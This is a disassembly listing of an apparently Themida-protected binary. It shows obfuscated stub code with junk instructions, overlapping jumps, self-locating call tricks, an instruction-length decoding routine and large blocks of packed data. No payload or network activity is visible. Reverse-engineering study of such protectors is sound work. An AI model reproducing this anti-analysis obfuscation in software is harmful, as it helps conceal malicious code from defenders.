jmp loc_5A2606
; ---------------------------------------------------------------------------
db 3Dh, 2Dh, 6Eh
dd 0B36E854Bh, 0F605BA3Dh, 22F37606h
db 96h, 0E2h
; ---------------------------------------------------------------------------
loc_5A2606: ; CODE XREF: sub_5A25C4+2Cj
pop eax
sub eax, 2D51097Ch
mov dx, 45E3h
xor eax, 922A38Eh
jmp loc_5A2627
; ---------------------------------------------------------------------------
dd 6F47F624h, 40ABA8F6h
; ---------------------------------------------------------------------------
das
xor ch, ch
loc_5A2627: ; CODE XREF: sub_5A25C4+53j
add eax, 240EB497h
jo loc_5A2634
cmc
loc_5A2634: ; CODE XREF: sub_5A25C4+69j
; sub_5A25C4+79j
mov [ebx], eax
jmp loc_5A2643
; ---------------------------------------------------------------------------
pop ebp
pop es
ja short loc_5A2634
dec ebp
retn
; ---------------------------------------------------------------------------
db 0ECh, 0E0h
; ---------------------------------------------------------------------------
loc_5A2643: ; CODE XREF: sub_5A25C4+72j
sub ebx, 763C98E7h
add ebx, 763C98E3h
mov dx, di
dec ecx
jnz loc_5A2669
add si, 6E23h
jmp loc_5A2688
; ---------------------------------------------------------------------------
cmpsd
sbb eax, 0D61C29DAh
loc_5A2669: ; CODE XREF: sub_5A25C4+8Fj
call near ptr loc_5A2673+1
push 39DDBAA5h
loc_5A2673: ; CODE XREF: sub_5A25C4:loc_5A2669p
fisttp dword ptr [ebx+72E95FF3h]
sub_5A25C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dd 0E683A65Bh, 13F65802h, 1CD4284Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A25C4
loc_5A2688: ; CODE XREF: sub_5A25C4+9Aj
call loc_5A2696
call dword ptr [edx+esi*2-3DF9C57Eh]
in eax, dx
pop ss
; END OF FUNCTION CHUNK FOR sub_5A25C4
loc_5A2696: ; CODE XREF: sub_5A25C4:loc_5A2688p
pusha
mov bx, cx
adc cl, 0F1h
popa
pop edx
call sub_5A26B4
setalc
mov eax, ds:0FA874C36h
pop ds
mov al, ds:68EE5A29h
fsubr dword ptr [edi+51h]
; ---------------------------------------------------------------------------
db 8Eh
; =============== S U B R O U T I N E =======================================
sub_5A26B4 proc near ; CODE XREF: Themida_:005A269Fp
mov edi, 46871567h
pop edi
add edx, 62B6h
stc
sub esi, esi
push eax
mov ebx, esi
pop ecx
loc_5A26C7: ; CODE XREF: sub_5A26B4+73j
mov eax, [edx+esi]
or bh, 95h
sub eax, 48B21B6Ah
sbb bh, 7Dh
add eax, 7F371621h
mov bx, dx
add eax, 7991CC30h
mov ebx, 522D21A5h
push eax
stc
pop dword ptr [edx+esi]
jnz loc_5A2703
jmp loc_5A2703
; ---------------------------------------------------------------------------
dw 0EEA5h
; ---------------------------------------------------------------------------
inc ecx
cmp dword ptr [ebx], 144F505Ch
loc_5A2703: ; CODE XREF: sub_5A26B4+3Bj
; sub_5A26B4+41j
mov ebx, 152F9145h
sub esi, 4
jmp loc_5A2721
; ---------------------------------------------------------------------------
mov esi, 37DCBEF5h
dec ebx
pushf
stosd
db 64h
sub eax, 8DA54DEFh
or esi, [ebp-58h]
loc_5A2721: ; CODE XREF: sub_5A26B4+57j
cmp esi, 0FFFF9DE8h
jnz loc_5A26C7
mov bh, 48h
lea ecx, [ebp+6AD8E0Eh]
push 0
push edi
call sub_5A2740
and [edi-3Dh], bl
sub_5A26B4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A2740 proc near ; CODE XREF: sub_5A26B4+84p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5A2740 endp
; ---------------------------------------------------------------------------
movsb
mov [ebp+6A8150Dh], ecx
mov [ebp+6A805B9h], ecx
jns loc_5A276B
jz loc_5A276B
mov esi, eax
loc_5A276B: ; CODE XREF: Themida_:005A275Dj
; Themida_:005A2763j
mov dword ptr [ebp+6A81469h], 5968h
mov edx, esi
mov dword ptr [ebp+6A80BBDh], 0
push 0
push ebp
call sub_5A278C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A278C proc near ; CODE XREF: Themida_:005A2784p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5A278C endp
; ---------------------------------------------------------------------------
dd 0FE1E630h, 7E987h, 5FFC0000h, 9AED572Ah, 0FDB5FF42h
dd 6A06A805h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 4A85C350h, 2607D6E9h, 8E95AC1h
dd 0D2000000h, 0D5F975E2h, 0FF83FA23h, 0A820DD95h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0EF79AEF2h, 9EC10299h, 95896244h, 6A819CDh, 95FF006Ah
dd 6A81B31h, 7AEBC08Bh, 106CA522h, 0F99904D4h, 0D647B7A1h
dd 332D20E5h, 0BB35AF54h, 9B8C9911h, 0B8F37412h, 254D6F84h
dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h, 469CB89Bh
dd 6120C96Bh, 0E471F77h, 0C576C0FAh, 80629C74h, 74549A67h
dd 0E496CC4Dh, 58AF858h, 8C175B06h, 0C72C8AD9h, 81CFBE3h
dd 5B1BF9C3h, 82DCBB2Ah, 49D6E374h, 7A839A14h, 804D6034h
dd 76F86458h, 744B92Dh, 0C8E95674h, 88000001h, 7 dup(88004188h)
dd 4188h, 4 dup(0)
dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
dd 888888h, 0
dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h
dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
dd 88080888h, 888888h, 0
dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h
dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
dd 3000000h, 14h dup(0)
dd 0C2000000h, 8E29000Ch, 1000075h, 11h dup(0)
dd 0E9000000h, 353h, 0E855h, 815D0000h, 0AD9065EDh, 85C76006h
dd 6AD8FB2h, 0
; ---------------------------------------------------------------------------
cmp word ptr [esi], 0A166h
jnz loc_5A2A9E
mov dword ptr [ebp+6AD8FB6h], 6
jmp loc_5A2AC2
; ---------------------------------------------------------------------------
loc_5A2A9E: ; CODE XREF: Themida_:005A2A89j
lea eax, [ebp+6AD8FBAh]
push eax
lea eax, [ebp+6AD900Ah]
push eax
push esi
push 0
call sub_5A2AD1
add esp, 10h
and eax, 0FFh
mov [ebp+6AD8FB6h], eax
loc_5A2AC2: ; CODE XREF: Themida_:005A2A99j
popa
add esi, [ebp+6AD8FB6h]
mov eax, [ebp+6AD8FB2h]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5A2AD1 proc near ; CODE XREF: Themida_:005A2AAFp
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_6AD8FAA = dword ptr 6AD8FB2h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5A2AFE
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5A2B0A
; ---------------------------------------------------------------------------
loc_5A2AFE: ; CODE XREF: sub_5A2AD1+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_5A2B0A: ; CODE XREF: sub_5A2AD1+28j
push ebx
push esi
push edi
loc_5A2B0D: ; CODE XREF: sub_5A2AD1+91j
; sub_5A2AD1+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5A2B20: ; CODE XREF: sub_5A2AD1+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6AD911Ch
lea ebp, [ebp+6AD8F92h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5A2B4D
inc cl
cmp cl, 0Bh
jb loc_5A2B20
loc_5A2B4D: ; CODE XREF: sub_5A2AD1+6Bj
cmp cl, 0Bh
jz loc_5A2BAA
cmp al, 66h
jnz loc_5A2B8B
cmp [ebp+var_5], 0
jnz loc_5A2B0D
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5A2B83
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5A2B0D
; ---------------------------------------------------------------------------
loc_5A2B83: ; CODE XREF: sub_5A2AD1+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5A2B8B: ; CODE XREF: sub_5A2AD1+87j
cmp al, 67h
jnz loc_5A2B0D
cmp [ebp+var_6], 0
jnz loc_5A2B0D
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5A2B0D
; ---------------------------------------------------------------------------
loc_5A2BAA: ; CODE XREF: sub_5A2AD1+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5A2BD6
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5A2BDB
; ---------------------------------------------------------------------------
loc_5A2BD6: ; CODE XREF: sub_5A2AD1+E4j
movzx edi, al
shr edi, 1
loc_5A2BDB: ; CODE XREF: sub_5A2AD1+100j
push ebp
call $+5
pop ebp
sub ebp, 6AD91D4h
lea ebp, [ebp+6AD8E92h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5A2D5D
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_5A2CA1
dec ecx
jz loc_5A2C84
dec ecx
jnz loc_5A2CF4
cmp [ebp+var_2], 0
jnz loc_5A2CF0
cmp [ebp+var_5], 0
jz loc_5A2C63
mov byte ptr [ebp+arg_0+3], 2
loc_5A2C63: ; CODE XREF: sub_5A2AD1+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 6AD9260h
mov [ebp+arg_6AD8FAA], 1
pop ebp
jmp loc_5A2CF4
; ---------------------------------------------------------------------------
loc_5A2C84: ; CODE XREF: sub_5A2AD1+16Dj
cmp [ebp+var_2], 0
jnz loc_5A2CCE
cmp [ebp+var_5], 0
jz loc_5A2CCE
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5A2CCE
; ---------------------------------------------------------------------------
loc_5A2CA1: ; CODE XREF: sub_5A2AD1+166j
cmp [ebp+var_2], 0
jnz loc_5A2CE7
cmp [ebp+var_5], 0
jz loc_5A2CD6
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5A2CCE
mov byte ptr [ebp+arg_0+3], cl
loc_5A2CCE: ; CODE XREF: sub_5A2AD1+1B7j
; sub_5A2AD1+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5A2CF4
; ---------------------------------------------------------------------------
loc_5A2CD6: ; CODE XREF: sub_5A2AD1+1DEj
cmp dl, 5
jnz loc_5A2CF4
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5A2CF4
; ---------------------------------------------------------------------------
loc_5A2CE7: ; CODE XREF: sub_5A2AD1+1D4j
cmp dl, 6
jnz loc_5A2CF4
loc_5A2CF0: ; CODE XREF: sub_5A2AD1+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5A2CF4: ; CODE XREF: sub_5A2AD1+174j
; sub_5A2AD1+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5A2D22
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5A2D04: ; CODE XREF: sub_5A2AD1+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5A2D04
mov esi, edx
loc_5A2D22: ; CODE XREF: sub_5A2AD1+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5A2D57
cmp edi, 7Fh
ja loc_5A2D57
test bl, 38h
jnz loc_5A2D57
cmp [ebp+var_7], 0
jz loc_5A2D51
movzx eax, [ebp+var_4]
jmp loc_5A2D54
; ---------------------------------------------------------------------------
loc_5A2D51: ; CODE XREF: sub_5A2AD1+271j
push 1
pop eax
loc_5A2D54: ; CODE XREF: sub_5A2AD1+27Bj
mov [ebp+var_1], al
loc_5A2D57: ; CODE XREF: sub_5A2AD1+255j
; sub_5A2AD1+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_5A2D5D: ; CODE XREF: sub_5A2AD1+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5A2D88
dec eax
dec eax
jz loc_5A2D7E
and bl, 7
add [ebp+var_1], bl
jmp loc_5A2D90
; ---------------------------------------------------------------------------
loc_5A2D7E: ; CODE XREF: sub_5A2AD1+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5A2D8D
; ---------------------------------------------------------------------------
loc_5A2D88: ; CODE XREF: sub_5A2AD1+294j
mov al, [ebp+var_3]
add al, 4
loc_5A2D8D: ; CODE XREF: sub_5A2AD1+2B2j
add [ebp+var_1], al
loc_5A2D90: ; CODE XREF: sub_5A2AD1+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5A2DB8
movzx ecx, [ebp+var_1]
inc ecx
loc_5A2DA3: ; CODE XREF: sub_5A2AD1+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5A2DA3
loc_5A2DB8: ; CODE XREF: sub_5A2AD1+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5A2AD1 endp
; ---------------------------------------------------------------------------
db 8Dh
dd 0AD905F85h, 0E9858906h, 0E806A833h, 13h, 2EA93D70h
dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8BC636CBh, 94B45EC7h
dd 5DD0C681h, 81600000h, 95ACF5E1h, 68615Ch, 60000000h
dd 11E9DA8Bh, 8B000000h, 5E453A5Bh, 0F4E17DC9h, 5F12DCABh
dd 254BCE60h, 810F5F61h, 4, 61616060h, 0F93E0C8Bh, 7238C181h
dd 42BB45C7h, 813394C0h, 3E6B8AC1h, 0F2816650h, 0F181E438h
dd 43A3D245h, 5E8h, 0CD444F00h, 0D0800B4Dh, 0F515A6Dh
dd 68Ch, 0B4EB8100h, 8F6B0B33h, 0DB813E04h, 22EDE4A6h
dd 2870Fh, 0D38B0000h, 0CDFEEF81h, 14E93703h, 0C0000000h
dd 47C6AE5h, 22E3E081h, 2DE624A6h, 0BC4B97E9h, 8105DF7Fh
dd 3CDFAC7h, 0DA816637h, 0FF81A317h, 0FFFFA318h, 0FF7E850Fh
dd 13E8FFFFh, 96000000h, 9A0A4486h, 60B25519h, 28296EDBh
dd 71F59312h, 58F88A28h, 1AE9h, 0E1572800h, 0E7339C74h
dd 77h, 3 dup(0)
dd 0E9000000h, 0D1Ch, 0AD968B68h, 0E8E4E906h, 6168FFFAh
dd 0E906AD97h, 0FFFAE8DAh, 0AD990868h, 0E8D0E906h, 1B68FFFAh
dd 0E906AD9Ah, 0FFFAE8C6h, 0AD9B7E68h, 0E8BCE906h, 1368FFFAh
dd 0E906AD9Eh, 0FFFAE8B2h, 0AD9F8268h, 0E8A8E906h, 8B68FFFAh
dd 0E906ADA0h, 0FFFAE89Eh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh
dd 783C66Ch, 70B6FB9Ch, 2B4CC6EBh, 0DF7F2066h, 89AB1492h
dd 0BAD97AC0h, 3537B7F3h, 56C9793h, 2F6DB6h, 88155CFFh
dd 0B33E1852h, 120C833Ch, 50DD90B1h, 2F4ED147h, 2E074EEEh
dd 3D7417F8h, 6B611FBh, 90FF09BDh, 72B5FFFFh, 4C8E54D9h
dd 70A86AAAh, 5FA90F5Bh, 0B6009257h, 1B179873h, 1477692Fh
dd 3CCEh, 0B5E75100h, 4FAED80Eh, 35B60005h, 0CFB8FD92h
dd 59C9862h, 5338B600h, 26608ED2h, 0B60004E2h, 752177A0h
dd 1477F899h, 1007Ch, 0AED80600h, 0B600116Ah, 0EE8EFF58h
dd 0F7217AA7h, 155CFFACh, 3B761788h, 0E1C268F6h, 74A50A43h
dd 57D74E4Ah, 0B2F610AFh, 90AF57D6h, 0AC0C27A7h, 84296003h
dd 0F531781Bh, 57DBE413h, 0D59CBFAFh, 0E5A0CE31h, 0C766C9B3h
dd 0B832588Eh, 6BAFDAAFh, 0C8C00A7Fh, 0BAAF586Dh, 0BEA40791h
dd 946FE63Ch, 0F2260A97h, 8E3C8735h, 0E2E22660h, 0FFA0AF57h
dd 0FB3D1653h, 1BADCB71h, 0AF57E31Fh, 0BAD94AE5h, 3B7DAEF3h
dd 0FFEA9E2Dh, 0E01A40B5h, 0B5FFE9A8h, 0D967B19Ah, 3D9F287Eh
dd 8A266086h, 5CBCAA8Bh, 6310D173h, 0B7A0F926h, 5674DF61h
dd 581CC6Dh, 61849DDFh, 7389E4F2h, 94D97A25h, 7FC9FD74h
dd 2B9417ECh, 0ADCh, 0E9CD574h, 79CD88A5h, 0AFFBB2D6h
dd 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh, 2143EC3Ah
dd 0D271D268h, 4D9F0F9Bh, 56CFF3Bh, 9887C5B6h, 97135EFFh
dd 0FA40092Ch, 0EA1CBADDh, 0AF57D6AEh, 284ABB94h, 49EF3865h
dd 0C1E55EFEh, 56887h, 0ACF15AB6h, 56AAAh, 4AD06B6h, 7F3A57B8h
dd 0F8817D39h, 0B4641477h, 0BF000000h, 0F3F45CFFh, 0C16E63F3h
dd 168F140Dh, 73FB3875h, 0AF583104h, 1C3DFC9Fh, 0E2DBCC51h
dd 3955BEA4h, 0D0733C7Ch, 21931499h, 8FDA6C9Ah, 75B60038h
dd 59FB4CDAh, 1D82C4E2h, 0E7BCAAD7h, 15359E4Ch, 0EC0AD058h
dd 862B6E03h, 0FB9C0395h, 9EA10B6h, 9F9B236Ah, 65BCAAD7h
dd 3BE46ECAh, 0BAB1571Ah, 0DCEC7F56h, 0A0666DFh, 0FB9E0000h
dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h
dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h, 0DDDD6FFDh
dd 0A7B6056Dh, 5EFFBA61h, 92C9713h, 0D73F7B8Dh, 0E705AF57h
dd 57D765A5h, 1BF45FAFh, 0FFBFE422h, 1788155Ch, 5EE93D74h
dd 67A145FEh, 0B6000ABCh, 49042586h, 0CCCC7EE4h, 0B6B6000Ah
dd 1FCBA49Dh, 59DF92B4h, 0B4D67CEAh, 0B6000B74h, 0B5B3E54Eh
dd 0B6000B72h, 0B0FCA50Eh, 0AB8F00Ah, 0A18AB600h, 0C1571240h
dd 77E67955h, 2D4BB414h, 4AEE3F64h, 66688h, 1CBA9300h
dd 57D6AEEAh, 0D47694AFh, 0AF57D6D4h, 0CAC85AEh, 0B54319BBh
dd 83DCA508h, 1269839Ah, 0DAC6ED8h, 0E954F614h, 0FFB6004Bh
dd 0FE3A7F14h, 89C3E750h, 64109A62h, 249B128Dh, 5B1EBCDBh
dd 95553662h, 0B600CF91h, 0DDDD462Dh, 14772AE1h, 61204h
dd 0B5E71F00h, 54F7D80Eh, 0CFB8F595h, 8E798369h, 74B5FFE0h
dd 909456DBh, 2CB5FFE0h, 0E0DCDE47h, 71477DBh, 5EBh, 0F1220118h
dd 0E1C2F843h, 77A00D40h, 0F93F7616h, 0ECA2C973h, 0B760B5FFh
dd 0A20DAB51h, 4962CF86h, 0FFEC8981h, 58D07BB5h, 15166F8Eh
dd 0D2882C42h, 3B5B5044h, 0E6F02976h, 5F4842A9h, 4FCE21ABh
dd 0E491558Ch, 111CAEB4h, 0F348BD8Eh, 0E252DB58h, 8E367294h
dd 0C20C48BDh, 7A2DCB4h, 0C4BD967Ch, 7A17F826h, 1731F23Fh
dd 0EFD8D15Eh, 0AC3ABF49h, 0A7084F65h, 4861CE8Bh, 2548AB5Fh
dd 0D675DE6Ch, 81EC699Fh, 8D2E59C4h, 85F34h, 1950F700h
dd 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh
dd 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 708286C0h
dd 3A40B605h, 7E30BA1Dh, 575FCD2h, 0F3F2CA04h, 7F17E060h
dd 7FD77639h, 24D3ABA3h, 55DAB331h, 4E072689h, 44FF5DEAh
dd 50D864A6h, 9AAB606h, 6C11C468h, 15BC8641h, 0CDA6F73Ch
dd 31B78F79h, 6B64B606h, 0D4521B3Ah, 4367C273h, 6320939h
dd 6B9DFBB6h, 0B606322Fh, 0DC413A15h, 0DD692043h, 631FB2Bh
dd 0CD84A8B6h, 76B7D679h, 19129FD6h, 3B7B8320h, 87B60622h
dd 0D97C832Ch, 8AA90A90h, 989C5EC3h, 0BB60632h, 28F9266Bh
dd 0D2E64B06h, 36D958D9h, 6E0D149Dh, 0F60E327h, 3B000001h
dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 638955DAh, 57D6E1D9h
dd 5200A3AFh, 0B8918A17h, 0C48DAF70h, 0D79B9F5Fh, 6508AF57h
dd 9606872Ch, 0FF4FF92Dh, 0C5B6056Bh, 6CE8EE8Bh, 0B7A06011h
dd 24A0FE11h, 329310F3h, 74Ch, 0BE0C45E4h, 0E93D7815h
dd 0DF6B2246h, 0F9BDE74h, 78CE83A4h, 3354BEF3h, 0E787287Eh
dd 91B31CAAh, 42E142D8h, 3D2FBF0Bh, 5718F8Bh, 83775B6h
dd 88155CFFh, 8F3B7617h, 0D6E32761h, 98C0AF57h, 8B5B4CD1h
dd 218208A0h, 53FC4A03h, 822D7930h, 4E0324E1h, 52DFC8E1h
dd 0B0FDB0D1h, 0D4DB44F1h, 0CA8FEB3h, 12DFD610h, 0EF7h
dd 59BA4800h, 0F029763Fh, 98D7B8h, 0FFF20000h, 0B2FB9D5Ch
dd 0A7433C6Dh, 0D6CBCF79h, 9EB9AF57h, 65A1A91Ah, 60AF57E7h
dd 40E3EA4Bh, 0E78682C4h, 0D37CAF57h, 6103ACFAh, 44438B28h
dd 3BAF57E7h, 31BB05AEh, 0D09681E8h, 66C96F96h, 0DD3B8FC6h
dd 571515B7h, 44EFAF58h, 5DFFCFD4h, 76168F14h, 2B422BDEh
dd 0E7D02841h, 0D55EF7BAh, 0C36FAECEh, 0EF19AD86h, 0AF58CD44h
dd 24807DD7h, 0C96512DFh, 7FFFFFFEh, 72BFF294h, 0BAB4FF39h
dd 33703559h, 48D1BEFAh, 35000003h, 245C0DA3h, 0C9E24F02h
dd 99B8FA31h, 5CFF141Fh, 564E8815h, 58AF57D7h, 183B42E3h
dd 1AF3BAD9h, 0D17D668Ch, 0F89B0494h, 7C551839h, 0D6FF3737h
dd 81A4AF57h, 72A26BC8h, 63EB1DC9h, 5B6056Bh, 1317B1DFh
dd 0F1B6056Bh, 6B7CBC46h, 0ED46B605h, 7EAA854Bh, 0F324C2DBh
dd 0E93D8625h, 81000005h, 0B81BAFE6h, 0E748DE9Bh, 11B20841h
dd 41E2387Dh, 52D96D20h, 1F52F31Fh, 4B06288Bh, 793054FFh
dd 0AAE3822Dh, 2852881Ch, 0B60571F0h, 0BAAF94D2h, 22763F59h
dd 7397DE7Dh, 73A5EC90h, 236E0F90h, 50193CE7h, 642949AAh
dd 0C04AEE3Fh, 0A3923E5Fh, 0F75ED399h, 69F04FDh, 1A8B2865h
dd 34ED327Bh, 4CD55A1Fh, 4734672Ah, 5BF05FDEh, 0FFB2D3DAh
dd 0CD1703ABh, 9CDE12DFh, 61EA516Ch, 9AB8F03Eh, 263h, 0BB6E7ADh
dd 0D64EA4A6h, 816AAE46h, 2D261220h, 4CC1EC31h, 5A000002h
dd 0DF0BB6E7h, 0D71317B1h, 28F9AF57h, 0DCDE5606h, 56C26D7Dh
dd 113E7A8Ch, 2B04AF58h, 102E4486h, 0D375AE47h, 0EB8C159Ah
dd 8BA879A6h, 9AA03CEh, 0E44D268Ah, 30EBFAD6h, 0A5CA35ECh
dd 88A48E0h, 9D000002h, 0DF0BB6E7h, 57D771ADh, 0E68C77AFh
dd 60CB75A3h, 0D5E93BC3h, 2E85AE46h, 2D997585h, 0E47CEC31h
dd 6000001h, 0DE6AAED8h, 0FF58AE46h, 0DE79B1CBh, 0E04BAE46h
dd 0B6E76348h, 75ADDF0Bh, 6BAF57D7h, 0CACE588h, 52BD69C2h
dd 1E53F431h, 9AF9891h, 0D642509Ah, 0F55EAE46h, 5C16602Ch
dd 0A53F1AD0h, 0E2DE5ADEh, 5EC31A3h, 19Bh
dd 0FA5A9DDFh, 0A67A1718h, 341F462Ch, 0B5E3D754h, 3B59BA6Eh
dd 0DA792672h, 0EA377A1Bh, 8422D8B1h, 57D74642h, 85133CAFh
dd 97DE7D26h, 48EAD573h, 478F9805h, 0AF57D743h, 0B5F09E01h
dd 0D2463F68h, 0C67DDF68h, 0F677E620h, 0E24DB5FFh, 0F679BDBDh
dd 42AB5FFh, 2543DC41h, 0DC4BC76Ch, 865CC453h, 6F6CEF74h
dd 0B24CE0ADh, 78F97D79h, 3A910783h, 418D7979h, 55681477h
dd 0B3000000h, 4FEFB5E7h, 0FF4C0FCBh, 0E13D710Ah, 221BFB7Ch
dd 146B9D49h, 0CAB60020h, 95034AE9h, 0D01AC06Bh, 28B8EEBAh
dd 3556B738h, 0B6E23B78h, 0B51115D5h, 0B7ADB600h, 32662B4Ch
dd 6E94D859h, 0B4DCDCh, 6305A6B6h, 0BB94852Ah, 8CDB97Dh
dd 0B2281477h, 0F3000000h, 88155CFFh, 0F63B7617h, 0AFEA8768h
dd 96B82902h, 0D34556DBh, 0C360294Ch, 3C8AC362h, 57DB9BCAh
dd 2C6508AFh, 0F23650FEh, 0D0AF57DAh, 0AD4B3167h, 906A2342h
dd 818634D8h, 0F9810B0h, 4AF016ADh, 4BBAA2Ch, 48175BBh
dd 586BBEFAh, 0E47E5AFh, 0DD7688A1h, 6C9B9F29h, 0CE69AF58h
dd 0BB19C6Ah, 0B893B603h, 0CD80A102h, 0F8B5D679h, 272323C0h
dd 0AD1695F3h, 354h, 86044DECh, 0F135701Dh, 27632A4Eh
dd 1793D67Ch, 40C68BACh, 3B5CB6FBh, 0EF8F3076h, 99BB64A2h
dd 4AE94AD0h, 0C5278703h, 5758783h, 103F7DB6h, 97135EFFh
dd 0FA40092Ch, 155CFFDDh, 3D741788h, 0D7181FE9h, 2193AF57h
dd 6FDA6C9Ah, 55B60002h, 0FF87ACFAh, 1788155Ch, 5256F074h
dd 51AF57D7h, 0C36C7E37h, 948DC062h, 6507E816h, 296872Ch
dd 7EAC1785h, 0FFF5A1CCh, 6BC863B5h, 0FFF5A3E3h, 0CB543FB5h
dd 77CCD3CFh, 253A14h, 0E70D0000h, 0AED80EB5h, 0B600054Fh
dd 3EC1A35h, 198A2E63h, 4D5D1h, 991AF1B6h, 77F8AD99h, 1054814h
dd 0FFD30000h, 1788155Ch, 248F3B76h, 0B5E64B0Eh, 7C1F8063h
dd 9172E835h, 2374B9FCh, 420B2AF5h, 0CCCC7EA4h, 0B6AF57D6h
dd 4BB11B9Dh, 30D44201h, 55AD5E0Eh, 0C606B258h, 5C35540h
dd 0AF58B1D2h, 0D3B84294h, 1A38708Ah, 210AAF58h, 0A9FF92A9h
dd 4BEDC68Fh, 0B20841E4h, 0F63B7211h, 0ACE58768h, 0A219BB0Ch
dd 59F5DE04h, 2586971Ch, 0B4E54A03h, 0FE77E264h, 0E24DB5FFh
dd 82B1E3A4h, 0E42466E2h, 0DEB5FFFDh, 0DC6E9C75h, 0B5FFFDDCh
dd 76948DA6h, 841E7C8h, 325472ABh, 0B5FFFDF6h, 333563CCh
dd 0BCAAA006h, 4CB753FCh, 3A20662Bh, 0B8F0B5D9h, 0ED1B56F7h
dd 0EC7F8E40h, 0E5E06142h, 7D000001h, 0AC1793DAh, 0DB44C287h
dd 0DB6F4BDh, 3DE62461h, 4ED5511Ch, 0B46E72Bh, 3F7214BFh
dd 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B60575FCh, 0FF9B80C6h
dd 6997135Eh, 0D781B9C3h, 6043AF57h, 0FE2F743Dh, 690C9305h
